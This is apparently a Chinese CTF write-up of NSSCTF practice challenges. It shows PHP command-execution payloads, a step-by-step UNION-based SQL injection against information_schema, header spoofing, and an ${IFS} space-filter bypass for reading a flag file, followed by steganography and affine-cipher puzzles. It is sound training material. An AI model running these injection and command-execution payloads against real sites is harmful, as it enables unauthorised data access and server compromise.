Web

[LitCTF 2023]PHP是世界上最好的语言!!

根据提示已知flag位于根目录

我们先进去看一看

img

看到上面的这个页面,从run code可以看出,这是可以执行命令

我们需要构造payload,system("ls /");输出如下:

img

已知flag位于根目录,我们cat一下

我们尝试Flag是不行的,再尝试一下flag

1
system("cat /Flag");     system("cat /flag");

img

NSSCTF{54391812-9444-4e1c-85ef-e2f448d3aec3}

[SWPUCTF 2021 新生赛]easy_sql

img

又看到了

img

我们查询一下字段数,得到字段数为3

1
?wllm=1' order by 3 --+

img

img

我们进行语句查询

?wllm=-1' union select 1,2,3 --+,找到了回显点

img

这样我们就得到了位置

第二行为name,第三行为password

继续查数据库名

1
?wllm=-1' union select 1,2,database() --+

img

继续查表

1
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

img

继续查两张表中的字段

1
2
?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='users'--+
?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test_db'--+

img

img

在test_db表中看到了我们要的flag

1
?wllm=-1' union select 1,2,flag from test_tb --+

img

1
NSSCTF{4bd24c9e-1d76-4553-a818-8e715fa5c15e}

[SWPUCTF 2021 新生赛]Do_you_know_http

方法一:利用burp

打开后

img

提示我们使用WLLM

直接利用burp改服务器,现在是这样的

img

进行修改

img

img

看到这里,我们访问一下

http://node4.anna.nssctf.cn:28123/a.php

img

我们需要用当地地址进行读取

添加X-Forwarded-For: 127.0.0.1

最后获得一个secretttt.php文件,进行访问,获得flag

方法二:利用hacker

先改浏览器

img

发送请求后

img

最后再改本地地址

得到

img

1
NSSCTF{135fca44-7741-4bc4-abe0-7666573ae7f9}

[LitCTF 2023]我Flag呢?

这道题直接F12,最后就有flag

img

1
NSSCTF{9f3c5d77-202b-432a-b268-741ba25925bb}

[SWPUCTF 2021 新生赛]babyrce

打开后

img

我们先分析一下这段php代码

最后检查是否存在名为admincookie且值等于1,若满足,包含上级目录中的“nest.php”文件;若不满足,显示小饼干最好吃了

从提示中我们已经知道这是有关空格绕过RCEcookie注入

img

设置cookie后 得到上图,接下来我们访问rasalghul.php

img

显然这是过滤了空格

我们构造url=ls${IFS}/

访问,查看根目录

img

如上图,得到了flag的名,直接进行访问

1
http://node5.anna.nssctf.cn:27319/rasalghul.php``?url=cat${IFS}/flllllaaaaaaggggggg

img

得到flagNSSCTF{69fbcd69-1f5a-4a48-9e6d-b77c43617710}

Misc

[SWPU 2020]耗子尾汁

img

显然这是一个gif动图,我们先放进里面看一看有什么隐藏的东西

发现里面有隐藏的两个压缩文件,抽离出来,发现一个mp4和假的flag

img

img

img

在mp4文件中我们看到了一闪而过的一个什么东西,我们调一下倍速,好不容易截到的图

img

直接利用赛博厨子

img

我们继续将MP4文件放进010,发现里面还有一个压缩文件

我们把它抽离出来,解压,发现需要密码,我们上面得到sign_in

这个可能是解压的密码,输入进去确实是这样

里面是一下文本

img

1
R1pCVE9OUlhHVTNES05SWkdZWVRNUVJYSEEzVEtOUlVHNFpUT09KWEdFM0RLTlJZRzRaVE9RSlhHRTNEUU5aWkdaQkRNTlpXRzQzVEdOWlpHNDRUTVFaV0lJM1RNTlpXR1k0UT09PT0=

下面那句话是什么意思-最后一层是单表替换密码

我们先利用赛博厨子

img

1
lvueiakxudsyqehszqhykggsyylkvvi

搜了一下网上的wp,说的是仿射密码

img

涉及文件名中19,20,跑一个仿射密码的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
'''
仿射密码
(a,b)
m = 26,字符集为小写字母
加密函数是E(x)= (ax + b) (mod m)
解密函数为D(x) = (a^-1)(x - b) (mod m),其中a^-1是a的乘法逆元
'''

#通过一个简单的遍历得到a的乘法逆元,也可以通过gmpy2库中的invert函数实现
def get_inverse(a):
for i in range(1,27):
if a*i%26==1:
return i

#加密
def encipher(a, b, p):
c=[]
for i in p:
temp=((ord(i)-97)*a+b)%26+97
c.append(chr(temp))
print(''.join(c))

#解密
def decipher(a, b, c):
a_inv = get_inverse(a)
p=[]
for i in c:
temp=(((ord(i)-97)-b)*a_inv)%26+97
p.append(chr(temp))
print(''.join(p))

if __name__ == "__main__":
a = 19
b = 20
message = 'lvueiakxudsyqehszqhykggsyylkvvi'
# encipher(a,b,message)
decipher(a,b,message)

img

得到flag

1
NSSCTF{you_have_signed_in_successfully}

这道题也可以直接利用quipquip,直接搜索就好

img

直接获得flag的格式,加上下划线

1
flag you paresigned in successfully

GDOUCTF 2023]pixelart

打开后是这样的一幅图

img

这样并没有看出来什么东西,依旧按照常规思路,放进010中查看

我们在最后发现

img

这可能是要让我们修改一下长宽,我们先看一下图片属性

img

正好是12倍的关系

那我们给他改一下

我们利用脚本来改

1
2
3
4
5
6
7
8
9
10
11
12
13
from PIL import Image

img = Image.open(r'D:\NSSCTF\pixelart\arcaea.png') # 使用原始字符串
w = img.width
h = img.height
img_obj = Image.new("RGB", (w // 12, h // 12))

for x in range(w // 12):
for y in range(h // 12):
(r, g, b) = img.getpixel((x * 12, y * 12))
img_obj.putpixel((x, y), (r, g, b))

img_obj.save(r'D:\NSSCTF\pixelart\ok.png') # 使用原始字符串

就得到了一个新的图

img

但是这个是假的

我们继续将这张图放进010中,看到了里面的

img

可能是lsb,我们利用stegsolve来解决

img

img

看到了这个,就找到了我们需要的flag,再进行修改(需要把里面的空格删去)

1
NSSCTF{J3st_2_cats_battling}